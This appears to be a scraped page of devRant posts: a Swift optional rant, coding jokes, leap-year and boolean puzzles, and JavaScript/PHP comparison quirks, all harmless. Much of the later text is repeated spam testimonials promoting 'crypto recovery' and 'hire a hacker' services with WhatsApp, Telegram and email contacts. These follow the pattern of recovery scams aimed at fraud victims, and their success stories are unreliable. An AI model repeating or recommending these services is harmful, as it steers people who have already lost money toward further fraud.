3. decides if x is not *nil*, then executes the braced code.
This is very similar in both the visual and the operation to the C code of:
if (int x = y) { /* ... */ }
1. declares x in the scope of the braced code
2. sets x to the value of y
3. if x is not zero, then executes the braced code
which is considered *exceptionally* poor style.
Neither the C nor the Swift construct result in a legitimate boolean value of "true" or "false", although C comes closer than Swift.
In the Swift case the *imaginary* "nil" value has to be interpreted as "false" and thus there must be extra code is for the conditional to check on whatever constitutes the **actual** value of nil in Swift and then set the condition to "false".
(remember boys and girls, "optionals" are not real, they are an imaginary language construct of Swift and have no legitimate counterpart in the CPU operations with memory and registers)
At least in the case of C, if the value of x is zero or NULL (which is 0) then it is technically a "false" which in C is 0. Regardless, it is really poor programming and anyone doing that on my team gets an ear full.
But in Swift this obfuscation of code is common and condoned! Well, why not put more of the program in the condition of the if? In fact, stuff the whole thing in there.. why not? 🙄
This just reenforces my opinion that Swift is not a bird but the stuff that comes out of the underside of the bird. 🐦💩31 -
Convo b/w female software engineer and her boyfriend;
him-Hey babe
her-Hello world;
him-??
her-Ohh no, I meant to say hy babe, actually u r my whole world;
him-Ooo pls!...wt were u dnh anyways?
her-been doing coding for last 12 hrs with boss;
him-gosh!! ...did u eat?
her-0;
him-??
her- I mean false;
him-false?
her-sorry , I meant no;
him-ur mom called , so call her
her-mom();
him-WTF?????
her-I will call her...dont worry;
him-I think u should rest for a while
her-while(project!=over) {work();}
him-U r enjoying this...irritating me...aren't u?
her-what? :)
him-When will u come home?
her-if(boss==leaves){cout<<"soon"<<endl;}
him-Now its too much...its really annoying...are u getting me? Have u lost ur mind?
her-ERROR 404....mind not found!
him-u do realise...I m not getting any of ur jokes
her-JokeOutOfBoundException
him-Are u drunk? How many eyes do I have?
her-1
him-Idiot , I have 2 eyes
her-oh sorry I counted from 0
him-i think we should break up
her-oh no!!, dont break; continue;
him-thats it, urBF.exit()
her-No wait..... ; is imp , write like....urBF.exit();3 -
After learning a bit about alife I was able to write
another one. It took some false starts
to understand the problem, but afterward I was able to refactor the problem into a sort of alife that measured and carefully tweaked various variables in the simulator, as the algorithm
explored the paramater space. After a few hours of letting the thing run, it successfully returned a remainder of zero on 41.4% of semiprimes tested.
This is the bad boy right here:
tracks[14]
[15, 2731, 52, 144, 41.4]
As they say, "he ain't there yet, but he got the spirit."
A 'track' here is just a collection of critical values and a fitness score that was found given a few million runs. These variables are used as input to a factoring algorithm, attempting to factor
any number you give it. These parameters tune or configure the algorithm to try slightly different things. After some trial runs, the results are stored in the last entry in the list, and the whole process is repeated with slightly different numbers, ones that have been modified
and mutated so we can explore the space of possible parameters.
Naturally this is a bit of a hodgepodge, but the critical thing is that for each configuration of numbers representing a track (and its results), I chose the lowest fitness of three runs.
Meaning hypothetically theres room for improvement with a tweak of the core algorithm, or even modifications or mutations to the
track variables. I have no clue if this scales up to very large semiprime products, so that would be one of the next steps to test.
Fitness also doesn't account for return speed. Some of these may have a lower overall fitness, but might in fact have a lower basis
(the value of 'i' that needs to be found in order for the algorithm to return rem%a == 0) for correctly factoring a semiprime.
The key thing here is that because all the entries generated here are dependent on in an outer loop that specifies [i] must never be greater than a/4 (for whatever the lowest factor generated in this run is), we can potentially push down the value of i further with some modification.
The entire exercise took 2.1735 billion iterations (3-4 hours, wasn't paying attention) to find this particular configuration of variables for the current algorithm, but as before, I suspect I can probably push the fitness value (percentage of semiprimes covered) higher, either with a few
additional parameters, or a modification of the algorithm itself (with a necessary rerun to find another track of equivalent or greater fitness).
I'm starting to bump up to the limit of my resources, I keep hitting the ceiling in my RAD-style write->test->repeat development loop.
I'm primarily using the limited number of identities I know, my gut intuition, combine with looking at the numbers themselves, to deduce relationships as I improve these and other algorithms, instead of relying strictly on memorizing identities like most mathematicians do.
I'm thinking if I want to keep that rapid write->eval loop I'm gonna have to upgrade, or go to a server environment to keep things snappy.
I did find that "jiggling" the parameters after each trial helped to explore the parameter
space better, so I wrote some methods to do just that. But what I wouldn't mind doing
is taking this a bit of a step further, and writing some code to optimize the variables
of the jiggle method itself, by automating the observation of real-time track fitness,
and discarding those changes that lead to the system tending to find tracks with lower fitness.
I'd also like to break up the entire regime into a training vs test set, but for now
the results are pretty promising.
I knew if I kept researching I'd likely find extensions like this. Of course tested on
billions of semiprimes, instead of simply millions, or tested on very large semiprimes, the
effect might disappear, though the more i've tested, and the larger the numbers I've given it,
the more the effect has become prevalent.
Hitko suggested in the earlier thread, based on a simplification, that the original algorithm
was a tautology, but something told me for a change that I got one correct. Without that initial challenge I might have chalked this up to another false start instead of pushing through and making further breakthroughs.
I'd also like to thank all those who followed along, helped, or cheered on the madness:
In no particular order ,demolishun, scor, root, iiii, karlisk, netikras, fast-nop, hazarth, chonky-quiche, Midnight-shcode, nanobot, c0d4, jilano, kescherrant, electrineer, nomad,
vintprox, sariel, lensflare, jeeper.
The original write up for the ideas behind the concept can be found at:
https://devrant.com/rants/7650612/...
If I left your name out, you better speak up, theres only so many invitations to the orgy.
Firecode already says we're past max capacity!5 -
How do you deal with relatively complex Boolean logic requirements?
Here's a simple example, of which I missed 50% of the cases because it was non-intuitive to me:
A year is a leap year if:
- it is divisible by 4
- except it is also divisible by 100
- unless it is also divisible by 400
To my intuition, the logic tree is as follows:
if (year % 4 == 0) -> true
if (year % 100 == 0) -> false
if (year % 400 == 0) -> true
so I ended up with 3 cases and I initially missed all the others until I started coding.
The full solution is:
if(year % 4 === 0) {
if(year % 100 === 0) {
if(year % 400 === 0) {
true
} else {
false
}
false
} else {
true
}
true
} else {
false
}
}
I don't like it when I don't immediately see all logic paths.17 -
A bit longer rant, somehow triggered by the end of this rant:
https://devrant.com/rants/7145365/...
The discussion revolved around strpos returning false or a positive integer.
Instead of an Option or a Exception.
I said I'm a sucker for exception, but I'm also a sucker for typing.
Which is something most languages lack - except the lower level ones like C / C++.
I always loved languages which have unsigned and signed types.
There, I said it... :) I know that signed / unsigned is controversial, Google immediately leads to blog entries screaming bloody murder because unsigned can overflow – or underflow, if someone tries to use a -1on an unsigned integer.
Note that my love is only meant for numeric types, unsigned / signed char is ... a whole can of insanity on its own.
https://phoronix.com/news/...
If you wanna know more.
Back to the strpos problem, now with my secret love exposed:
strpos works on a single string, where a string is a sequence of chars starting with 0.
0 is a positive integer.
In case the needle (char that should be looked up in the string) cannot be found in the haystack (the string), PHP returns "false".
This leads to the necessity of explicitly checking the type as "0" (beginning of string, a string position)... So strpos !== false.
PHP interprets 0 as false, any other integer value is true.
In the discussion, the suggestion came up to return -1 if a value could not be found – which some languages do, for example Scala.
Now I said I have a love for unsigned & signed integers vs. just signed integers...
Can you guess why the -1 bothers me very much?
Because it's a value that's illogical.
A search in a sequence that is indexed by 0 can only have 0 or more elements, not less than zero elements.
-1 refers to a position in the sequence that *cannot* exist.
Which is - of course - the reason -1 was chosen as a return value for false, but it still annoys me.
An unsigned integer with an exception would be my love as a return value, mostly because an unsigned integer represents the return value *best*. After all, the sequence can only return a value of 0 ... X.
*sigh*
Yes, I know I'm weird.
I'm also missing unsigned in Postgres, which was more or less not implemented because it's not in the SQL standard...
*sob*29 -
import datetime as dt
while(True):
time_left = 24
work_hours = 8
trained_today = False
while(work_hours>0):
do_work()
listen_to_music()
browse_interesting_feeds()
work_hours -= 1
time_left -= 1
while(time_left>0):
if trained_today == False:
train()
trained_today = True
eat()
if dt.datetime.now().hour > 23:
time_left -= time_left -
So at one point I worked on an inherited project that had the worst code I've ever seen. I mean bad, so bad there may no quantifiable measure that can accurately convey how bad. We ended up naming the thing 'the hydra', cause it had a million issues and they just kept growing as we fixed things. To my point, in C++ they implemented their own primitive type Boolean32 as a signed int32 pointer. If that wasn't enough they used it as an octal bit mask. They also switch the value using logical and / or between 2 numbers, 037777777777 and 000000000001. So essentially they only switch this value to 1 or -1 and end up comparing it to their own const true or false. In c++ any value not 0 is == true...apparently not in this code.undefined octals why me? why would you do that? terrible code awful code c++ coding no designs bad code
-
Javascript in a nutshell:
Function in a teaching example for a framework, checks for validity of input, dev returns null instead of false when it isn't. In another place, uses !variable to check if variable is 0.
fucking follow the semantics of the code you write cunt why do you have to do this why is it so hard to write variable !== 0
I'm sorry, this really triggers me.
https://media.giphy.com/media/... -
int totalHourSpentOnFixingBootflags = 5;
while (!isWorking) {
Clover.flags = "-x -v -s -f nv_disable=1 injectNvidia=false ncpi=0x2000 cpus=1 dart=0 -no-zp maxmem=4096" + Internet.getRandomBootFlags();
}
1 -
I said and will say again (over and over) Microsoft WTF!
Set-CalendarProcessing -Identity $userUpn -AutomateProcessing AutoAccept -AllowConflicts $false -BookingType 'Standard' -BookingWindowInDays 365 -MaximumDurationInMinutes 1440 -AllowRecurringMeetings $true -EnforceSchedulingHorizon $false -ScheduleOnlyDuringWorkHours $false -ConflictPercentageAllowed 0 -MaximumConflictInstances 0 -ForwardRequestsToDelegates $true -DeleteAttachments $true -DeleteComments $true -RemovePrivateProperty $true -DeleteSubject $true -AddOrganizerToSubject $true -DeleteNonCalendarItems $true -TentativePendingApproval $true-EnableResponseDetails $true -OrganizerInfo $true -AllRequestOutOfPolicy $false -AllBookInPolicy $true -AllRequestInPolicy $true -RemoveOldMeetingMessages $true -AddNewRequestsTentatively $true -ProcessExternalMeetingMessages $false -RemoveForwardedMeetingNotifications $true
ok I "splatted" that command but yet does not look much better :-)
Oh how I miss my dear old VIm and SSH sessions can't wait to go back to where I belong!
4 -
Problems with Dynamic typing (eyyy JS)
0 < undefined // false
0 == undefined // false
0 > undefined // false6 -
JavaScript keeps surprising me, or I'm just rushing. lol
class Group {
#group;
constructor(){
this.group = [];
return this.group;
}
add(item) {
// only if it isn't already a member
// value can be part of set only once
if(!this.has(item)) {
group.push(item);
}
}
has(item){
// return boolean: item member of group
for(let i=0; i<group.length; i++) {
if(group[i] === item) {
return true;
}
}
return false;
}
let group = new Group();
group.add(1);
console.log(group);
Error: group.add() is not a function
Why is group.add() not a function?
A.I. analysis:
1. Private field vs public field:
A private field #group can only be accessed as this.#group. But in the constructor, I wrote:
this.group = [];
This creates a new public field, unrelated to #group.
2. Returning from constructor:
return this.group;
In JavaScript, a constructor automatically returns this, which is the instance of the class. Returning this.group replaces the instance with the array. That’s why after new Group(), your variable group is just an array, not an instance of Group. Arrays don’t have the add method — hence the error.
3. Referencing group inside methods:
group.push(item);
Here group is not defined. You probably meant this.group (or this.#group if using the private field).
Note to self: in the magic of computer science, you must be precise. If I loosely define the black box, the result will have a chance of producing anomalies.. kind of like reality. lol6 -
{
while(time_to_exams > 0){
me.shouldBeLearning(true);
time_to_exams--;
}
public void shouldBeLearning(boolean bool){
if(bool){
should_be_learning = false;
waste_time_on_DevRant = true;
} else {
waste_time_on_DevRant = true;
}
}
} -
I've been working with JavaScript for nearly a decade now and yet I still get fooled from time to time by the fact that 0 == false.10
-
Unicorn Themed day at code club ^_^
``` """ unicorn finder """
from random import randint
class UnicornFinder:
""" UnicornFinder class finds uncorns """
def __init__(self):
pass
def find_unicorn(self):
""" find a unicorn """
unicorn = True
for i in range(0, 31):
if randint(0, 7) != 7:
unicorn = False
break
if unicorn:
print("u200 unicorn found")
else:
print("u404:: unicorn not found")
if __name__ == '__main__':
UnicornFinder().find_unicorn()
```1 -
Legacy code in java :
boolean recursiveMethod(args){
Int i= 0;
Boolean doublon = false;
For(--whatever the loop--){
If(condition1 && condition2){
If(i++ > 0){
doublon=true;
Return doublon;
}
}
}
[...]
}5 -
Q) 0 is false and !=0 is true.right??
A) 1,2,3,4.........................................................................................................................∞ -
I was working on a bug in a parser for the response from an api which returns 'n/a' when a certain measurement isn't available. The code was "if ($value == 'n/a')" and when this was true the value was rejected (language is php).
Some of you may instantly understand the problem here. I didn't. Some of the measurements were 0 which is ok, but for some reason it didn't accept them.
Then I discovered the bitter truth:
0 == 'n/a' is true!
Apparently php tries to convert the string to a number to compare it and if it fails it returns false, so false == 0
😞3 -
Recently had trouble with some SQL. My tests would not pass, so I had to manually run it to debug it.
SELECT * FROM a JOIN b ON [...] WHERE b.foo NOTNULL
Yielded 0 of 3 rows. Expected 1
Tried querying WHERE b.foo ISNULL instead. Would have expected 2 of 3 rows, but got 1.
After googling i discovered that comparing with NULL does not return a true/false binary description, but may also return unknown if the type is not a NULL type, e.g. 42 ISNULL =" UNKNOWN
😳 -
//not a rant
Ok so weird bug. Fellow C# people, help me out.
//already made it work so no I don't need to post it on SO
I write a Switch Case block based on the user's combo-box selection id.
if id 0, add everything to the mainpage grid
if 1, a foreach loop filtering out the ones with a certain attribute of the object as false and adding em to the grid on the mainpage
if 2, similar scenario as 1.
Countless times I had a null exception with the "count" variable being the number of items in the post which, wasn't null. there was no other variable that was being initialized from within the block, so I had no idea what was causing it.
Moving to an if-else statement doing the same thing, same issue.
In the end I created 2 empty lists before the switch case and filled them up and then another loop filling the mainpage grid with the now-filled list.
In the end im doing the same thing, with no issues, but I don't understand why adding it directly caused an error, what was null?
I wanna understand the working that might be causing this.. if anyone else came across this, would be glad to hear from you8 -
EXPERT FOR BITCOIN AND LOST ASSETS RECOVERY STARTS WITH SPARTAN TECH GROUP RETRIEVAL
The reality of crypto recovery is a complex and often misunderstood topic, as I've come to learn through my own personal experience. When I found myself in the unfortunate position of having lost my cryptocurrency holdings, I felt overwhelmed and uncertain about the path forward. That's when I discovered Spartan Tech Group Retrieval on web then contacted them on Telegram:+1 (581) 2 8 6 - 8 0 9 2, a service that claimed to specialize in retrieving lost or inaccessible digital assets. At first, I was skeptical - the world of crypto can be fraught with scams and false promises. But after thoroughly vetting the company and reading testimonials from past clients, I decided to take a chance. The process was meticulous and time-consuming, requiring me to provide extensive documentation and cooperate closely with the Spartan Tech Group Retrieval team. But to my immense relief and gratitude, they were ultimately able to recover the funds I had feared were lost forever. This experience taught me that crypto recovery, while challenging, is indeed possible with the right expertise and diligence. Spartan Tech Group Retrieval demonstrated a level of technical prowess and perseverance that far exceeded my expectations, restoring my faith not only in the possibility of recovering digital assets, but in the integrity of the crypto industry as a whole. It's a testament to the fact that even when all seems lost, there are professionals out there dedicated to helping navigate the complexities of this rapidly evolving financial landscape. I still can’t fully describe the emotions I felt in that moment—relief, joy, and a sense of amazement that something I had given up on was now within my reach once again. It felt like a second chance. Spartan Tech Group Retrieval didn’t just help me recover my Bitcoin; they restored my faith in the possibility of overcoming seemingly insurmountable challenges. Looking back on the entire experience, I realize just how lucky I was to find them. My journey with Bitcoin had been a rollercoaster of highs and lows, but this was undoubtedly one of the most stressful periods of my life. I had almost given up hope after multiple failed attempts, but thanks to Spartan Tech Group Retrieval, I was able to reclaim what I thought was lost forever. To anyone out there who feels hopeless or defeated by the idea of recovering their lost Bitcoin or cryptocurrency, I urge you to consider this service. Spartan Tech Group Retrieval provided me with the expertise and determination I lacked, and they never gave up when I was ready to. If you’re stuck in the same frustrating position I was, I can’t recommend them enough. They gave me a lifeline, and for that, I will always be grateful. Send a message to them on WhatsApp:+1 (971) 4 8 7 - 3 5 3 8
3 -
BEST AGENCY TO RECOVER SCAMMED CRYPTO-CONTACT SALVAGE ASSET RECOVERY
Flying a Boeing 787? Piece of cake. Decrypting a malfunctioning Trezor wallet? That's nose diving into chaos. I have done emergency landings, handled unpredictable weather, and passengers that think they can open the emergency exit during flight. But nothing, not even years of aviation training, prepared me for the moment my cold storage wallet refused to recognize my PIN. I knew I was punching in what was correct, but my Trezor stared back at me like I was an imposter in my own cockpit.
At first, I thought it was a simple mistake. Perhaps fat fingers? A misremembered digit? But after several attempts, I realized something was seriously wrong. The more I tried, the more the wallet locked me out, and it dawned on me harder than a rogue crosswind: My $750,000 worth of Bitcoin was slipping through my fingers.
I did what any reasonable person would do in such a situation-panicked. Then came the hours of browsing through forums, watching tutorials, and trying every trick in the book. One suggested freezing my device, another insisted on some arcana firmware rollback method. Nothing worked. At this point, I had all but thrown myself at the mercy of the fates.
Long-haul flight, cruising at 36,000 feet- that is where I happened upon Salvage Asset Recovery. I was skeptical, but desperation makes you reconsider everything: after all, if the device manufacturer couldn't help me out, how on earth could these guys? The moment I landed, I called them.
From the first conversation I had with them, I knew I had chosen rightly. Their team was professional, knowledgeable, and reassuring in explaining the forensic recovery process-how it all works in a no-nonsense explanation with no vague tech jargon or false promises.
Within just five days, they had bypassed the PIN problem, restored my Bitcoin, and pointed out safety recommendations to make sure I would never find myself in this kind of situation again. Their work was faultless-a perfect landing.
I can fly through turbulence, respond to in-flight emergencies, and cross the world without breaking a sweat. But when it comes to rescuing locked Bitcoin from a malfunctioning cold storage wallet? That's a job for Salvage Asset Recovery. If your crypto is in freefall, don't reach for the eject button-call them, and they'll get you flying again. Their contact details
TELEGRAM---@Salvageasset
WhatsApp+ 1 8 4 7 6 5 4 7 0 9 6
1 -
TRUSTED BITCOIN RECOVERY EXPERT - HIRE SALVAGE ASSET RECOVERY
A week ago, I found myself in the midst of an incredibly challenging and distressing situation that I feel compelled to share. I had been defrauded of £35,000 through a sophisticated forex trading scheme. What began as a seemingly legitimate opportunity soon spiraled into a nightmare. The scammers not only took a significant sum of money but continued to demand additional payments under various false pretenses. The pressure and confusion left me feeling overwhelmed, helpless, and unsure of how to proceed.As a dentist, I’m accustomed to precision, attention to detail, and problem-solving within a highly regulated profession. However, this situation was unlike anything I had ever encountered. My usual methods of resolving issues felt insufficient when faced with the complex web of deceit and evasive tactics employed by the scammers. Despite my best efforts to recover the funds through conventional means such as contacting my bank, reporting the fraud to the authorities, and even trying to trace the scam myself progress was agonizingly slow.I found myself at a crossroads, frustrated and uncertain of my next steps. Then, in the midst of my search for a solution, I came across Salvage Asset Recovery, a company renowned for helping victims of financial fraud recover lost funds. Their reputation for success and their impressive track record immediately caught my attention. After carefully considering my options, I decided to reach out to them, hoping they could provide the expertise I so desperately needed.From the moment I made contact, Salvage Asset Recovery’s team exhibited an exceptional level of professionalism and experience. They took the time to fully understand the situation, asking the right questions and assuring me that they would pursue every possible avenue to help recover my money. Their approach was methodical, efficient, and reassuring. They kept me informed every step of the way, explaining the process clearly and answering any questions I had.Incredibly, within just 24 hours of getting involved, Salvage Asset Recovery successfully recovered the full £35,000 I had lost. Their swift and effective action was a true relief, as I had almost lost hope of ever seeing the funds again. I cannot express enough how grateful I am to them for their hard work and determination in resolving what seemed like an insurmountable situation.In hindsight, I realize that without their intervention, I might still be stuck in an endless cycle of frustration. If you ever find yourself in a similar predicament, I wholeheartedly recommend seeking their assistance. Their expertise turned a harrowing experience into a success story, and for that, I will always be thankful to Salvage Asset Recovery. Contact info
WhatsApp-----.+ 1 8 4 7 6 5 4 7 0 9 6
TELEGRAM---@Salvageasset
1 -
GET YOUR ASSETS BACK LIKE BTC/ETH WITH ASSITS OF SPARTAN TECH GROUP RETRIEVAL
For the benefit of anyone in doubt, I’m sharing my story not to ask you to follow me, but to follow what worked for me: SPARTAN TECH GROUP RETRIEVAL.
This incredible team at SPARTAN TECH GROUP RETRIEVAL retrieved my lost investment funds when I thought recovery was impossible.It began when I met a broker named Pauline on Instagram. She consistently promoted cryptocurrency investments, emphasizing the gains I could make with her company, "MIN CRYPTO." She painted herself as a trustworthy guide, claiming I was "one of the lucky ones" she wanted to help. Initially hesitant, I eventually succumbed to the pressure and false promises.
What started as small investments (100–200) escalated into thousands, fueled by the illusion of wealth. Before I realized it, I had lost $800,000 a substantial portion of my life savings.This was overwhelming. I felt trapped, with no solution in sight until I discovered SPARTAN TECH GROUP RETRIEVAL.
Scouring the internet for hope, I stumbled upon glowing testimonials from others they’d helped recover stolen funds. Skeptical but desperate, I reached out to SPARTAN TECH GROUP RETRIEVAL ON WhatsApp: + 1 ( 9 7 1 ) 4 8 7 - 3 5 3 8 OR Telegram: + 1 ( 5 8 1 ) 2 8 6 - 8 0 9 2 From the start, SPARTAN TECH GROUP RETRIEVAL guidance to recovery stood out. They maintained transparent communication, keeping me updated at every stage of the recovery process. Their expertise in tracing and retrieving lost crypto funds was evident, and their dedication gave me renewed hope.To my amazement, SPARTAN TECH GROUP RETRIEVAL succeeded where I thought no one could. They recovered my $800,000, restoring not just my finances but my peace of mind. This is why I’m sharing my ordeal to spread awareness about SPARTAN TECH GROUP RETRIEVAL and their life-changing services.If you’ve fallen victim to a crypto scam, don’t lose hope. What seemed impossible for me became reality thanks to SPARTAN TECH GROUP RETRIEVAL. Let my testimony be a beacon for others: Recovery IS possible. Trust the process and remember you're not alone. SPARTAN TECH GROUP RETRIEVAL is out there, ready to help you reclaim what was wrongfully taken. If you feel lost, don’t hesitate to reach out to SPARTAN TECH GROUP RETRIEVAL. It might just be the solution you need to turn things around.
OTHER MEANS OF REACHING OUT TO THEM:Website: h t t p s : / / spartan tech group retrieval . o r gEmail: spartan tech (@) cyber services . c o m5 -
Was working as the only frontend developer ona project having 4 "senior" developers. They use Laravel to make an API feeding the angular app.
Why the documentation sucked?
Half the API call params where missing, and not one time did I come across an example stating that the API expects a boolean only to find out 20 minutes later that they mean int 1 or 0 not true or false. Best part however was sending arrays in POST by sending the elements as comma separated values (e1,e2,e3...). Oh and not documentation but while at it a rant... There are other response codes except 200 for fucks sake -
HIRE A PROFESSIONAL HACKER TO RECOVER LOST USDT, BTC FROM ONLINE SCAM- CONTACT SALVAGE ASSET RECOVERY
Have you ever fallen victim to online fraud or scams? It’s an unfortunate reality that many people today are tricked by fraudulent schemes, losing significant amounts of money or valuable assets. Whether it's through fake investment opportunities, misleading cryptocurrency offers, or malicious hackers, the digital world can be a dangerous place. If you’ve experienced financial loss due to an online scam, you’re not alone, and there is hope for recovery.I myself became a victim of a fraudulent online scheme involving binary options and Bitcoin investments. The scammers initially convinced me that I was making a legitimate investment in cryptocurrency. They promised huge returns and encouraged me to transfer Bitcoin into what seemed like a trustworthy wallet. It wasn’t until I noticed discrepancies and tried to withdraw my funds that I realized I had been scammed. In total, the fraudsters managed to steal 2 BTC and $34,000 from my Bitcoin wallet. I felt devastated and hopeless, unsure of how to recover my money. It took time for me to fully understand the depth of the scam and the toll it would take on my finances.Thankfully, my in-laws, who had some experience with online fraud cases, recommended that I seek professional help. They gave me the contact information of an expert who specializes in recovering lost or stolen funds from scammers. This expert, known as Salvage Asset Recovery, was able to track the transactions, identify the fraudsters, and ultimately help me recover my lost Bitcoins. The process was not easy and took some time, but with the guidance and expertise of Salvage Asset Recovery, I regained access to my stolen funds.If you’ve lost money through an online scam, whether it's due to false Bitcoin investment opportunities, online dating fraud, or hackers breaching your wallet, there are professionals who can assist you in recovering your assets. Salvage Asset Recovery has proven to be a reliable and trustworthy solution for people in similar situations. They offer specialized services for those who have fallen victim to financial fraud, and their success rate in helping individuals recover lost funds speaks for itself.If you’ve been scammed or hacked, don’t give up hope. Reach out to a professional like Salvage Asset Recovery. They can guide you through the process and help you get back what you’ve lost. You’ll be relieved you did, and you can start moving forward with confidence once again. Reach out to Salvage Asset Recovery via below contact details.
WhatsApp-----.+ 1 8 4 7 6 5 4 7 0 9 610 -
HIRE A QUALIFIED ETH AND USDT RECOVERY EXPERT- CONTACT SALVAGE ASSET RECOVERY
I thought losing $500,000 in cryptocurrency was the end of the road for me. I had no idea how to recover my wallet, and all other services seemed to offer nothing more than false hope. But then I found Salvage Asset Recovery. Their team was incredible—professional, skilled, and thorough. They used advanced forensic methods and worked tirelessly to recover every penny. In the end, I got back everything I thought I had lost forever. Their support didn’t stop there; they also helped me fortify my wallet to prevent future breaches. The experience of losing such a significant amount of money, especially in the volatile world of cryptocurrency, left me feeling completely helpless. I reached out to several so-called recovery services, but most seemed more interested in collecting fees than actually offering real solutions. Salvage Asset Recovery, however, was different. From the moment I contacted them, their approach was transparent and results-driven. They explained the entire recovery process step-by-step, giving me confidence in their methods. What really set them apart was their expertise. They utilized advanced forensic techniques to trace transactions and identify where my funds had gone. It wasn’t just about retrieving my money; they demonstrated a deep understanding of blockchain and cryptocurrency networks, which reassured me that I was in capable hands. Within a week, I received an update that they had successfully recovered the full amount I had lost. It felt like a miracle. Beyond the recovery, Salvage Asset Recovery went the extra mile to help me secure my wallet and improve my overall digital security. They advised me on the best practices for safeguarding my assets and set up a multi-layered security system to prevent future breaches. Thanks to their dedication and expertise, I now feel much more confident about my cryptocurrency holdings. I couldn’t be more grateful to Salvage Asset Recovery for turning what seemed like a devastating loss into a positive, secure future. Am Robert Lee from Michigan. Reach out to Salvage Asset Recovery CONTACT INFO--WhatsApp+ 1 8 4 7 6 5 4 7 0 9 6
1 -
BEST BITCOIN RECOVERY SPECIALIST, HACKER HIRE FUNDS RETRIEVER ENGINEER
Just a few months ago, I found myself at the darkest point of my life. I had fallen prey to a devastating rug pull that obliterated $140,000 of my painstakingly earned cryptocurrency investments. One moment, my portfolio was flourishing; the next, the developers vanished without a trace, the liquidity was siphoned off, and my funds were gone. I felt completely powerless like I had been ambushed with no possibility of justice.For weeks, I pursued every avenue imaginable filing reports with law enforcement, consulting cybersecurity experts, and even hiring a private investigator. Yet every attempt led to a dead end. The anonymity of blockchain technology made the recovery seem like an unattainable goal. Then, a trusted friend recommended FUNDS RETRIEVER ENGINEER, a team reputed for their proficiency in digital asset retrieval. Though hesitant and emotionally drained, I decided to give them a chance. From the very first consultation, their professionalism and clarity sparked a glimmer of hope. They meticulously explained how they use blockchain analytics, liquidity tracing, and forensic tools to follow the money trail. Unlike others, they didn’t peddle false promises they provided a structured, realistic strategy. In just 48 hours, they had already tracked a substantial portion of my stolen funds dispersed across various wallets.The team at FUNDS RETRIEVER ENGINEER was relentless, navigating decentralized exchanges, identifying suspicious transactions, and systematically piecing together the puzzle. After two intense weeks, I received what I can only describe as a miracle $125,000 recovered,recovering 90% of my losses was something I never thought possible.What distinguishes FUNDS RETRIEVER ENGINEER is their integrity, technical prowess, and unwavering commitment. They provided constant updates, answered my every question with patience, and fought vigorously to retrieve what was rightfully mine. Today, I’ve reinvested more cautiously, fortified my digital assets, and most importantly, restored my financial footing all because of them. If you’ve been victimized by crypto fraud, don’t surrender to despair FUNDS RETRIEVER ENGINEER is authentic, reliable, and truly elite. They transformed my catastrophe into a fresh beginning, and for that, I will be eternally grateful.
For help
W H A T S A P P: +1 8 0 2 9 5 2 3 4 7 0
EmaIL F U N D S R E T R I E V E R [@] E N G I N E E R. C O M
OR
S U P P O R T @ F U N D S R E T R I E V E R [@] E N G I N E E R. C O M2 -
RECOVER LOST INVESTMENT SCAM WITH THE HELP OF FUNDS RECLAIMER COMPANY
Email: fundsreclaimer(@) c o n s u l t a n t . c o m
Email: fundsreclaimercompany@ z o h o m a i l . c o m
WhatsApp:+1 (361) 2 5 0- 4 1 1 0
When I first got involved in crypto, I was excited by the potential for growth, but I never imagined it would end in such a nightmare. I had found what seemed like a trustworthy investment opportunity, one that promised incredible returns with little risk. After weeks of careful research, I took the leap and sent a large sum of money to the platform. Everything appeared legitimate a professional website , user testimonials, and even responsive customer support. But then, overnight, the platform vanished without a trace. The website was gone, and my emails went unanswered. I was left in shock, staring at an empty screen, wondering how I could have been so naive. I felt foolish, embarrassed, and completely powerless. I couldn’t believe I’d fallen for such a blatant scam. For weeks, I tried everything contacting the platform, reporting the scam to authorities, and even reaching out to other so-called recovery services. But each attempt only deepened my frustration. I was met with either silence or more false promises. My hopes were dashed, and I began to believe I’d lost everything. The financial and emotional toll was overwhelming, and I was ready to give up, convinced there was no way back. Just when I was about to lose all hope, I came across a recovery team called FUNDS RECLIAMER COMPANY. Unlike the others, they didn’t make lofty claims or promise instant results. They offered a more thoughtful, strategic approach—one that was based on careful investigation and tailored solutions. They understood exactly what I was going through, and their empathy was genuine. What really set FUNDS RECLIAMER COMPANY apart was their transparency and honesty. They didn’t overpromise or make me any false assurances.
3 -
So I have this gulp task to minify javascript but it doesn't actually do that, It minifies in a single line which is actually correct, but it doesn't convert if/else into ternary and true/false to !0/!1?
> Gulp Task: https://pastebin.com/1d8k8juX -
RECLAIM YOUR STOLEN CRYPTO THROUGH CRANIX ETHICAL SOLUTIONS HAVEN
The fascination of rapid profits can often cloud judgment, leading individuals down perilous paths. My experience with a crypto scam serves as a cautionary tale of vulnerability and the paramount importance of vigilance, particularly in the context of the invaluable assistance I received from CRANIX ETHICAL SOLUTIONS HAVENS.While working in the UK, I was captivated by an enticing investment opportunity that promised substantial returns. The website exuded legitimacy, complete with polished graphics and testimonials that instilled a false sense of security. Despite my wife’s apprehensions regarding the inherent risks associated with such investments, I was resolute in my determination to secure our family’s financial future. After relocating to the USA, I invested a significant sum £217,000, drawn from our family savings believing I was making a judicious decision. The euphoria of potential gains swiftly morphed into despair. After a few weeks, when I attempted to withdraw my funds, I was met with a series of insurmountable obstacles. The website became increasingly unresponsive, and my attempts to contact customer support were met with silence. It soon became painfully evident that I had fallen victim to a sophisticated scam. To exacerbate matters, I discovered that my crypto wallet had been hacked, and my hard earned savings were now ensnared in a fraudulent scheme. The realization was devastating. I felt utterly hopeless and overwhelmed, fearing the repercussions of my actions on my family, especially knowing my wife had forewarned me about such risks. I began to have debilitating physical symptoms of anxiety. Sleepless nights and relentless worry took a toll on my health, prompting me to seek counsel from my doctor. During the consultation, I shared my harrowing predicament, and the doctor expressed profound concern for my financial and mental well-being. Recognizing the urgency of my situation, he referred me to CRANIX ETHICAL SOLUTIONS HAVENS, a firm specializing in recovering lost funds from crypto scams. I reached out to CRANIX ETHICAL SOLUTIONS HAVENS, divulging the details of my distressing experience. Their team was empathetic and professional, assuring me they could help. Within days, I was astounded to learn that they had successfully recovered my funds. The relief I felt was indescribable; CRANIX ETHICAL SOLUTIONS HAVENS transformed my despair into hope, allowing me to regain my financial stability.
WHATSAPP: + 4 4 7 4 6 0 6 2 2 7 3 02

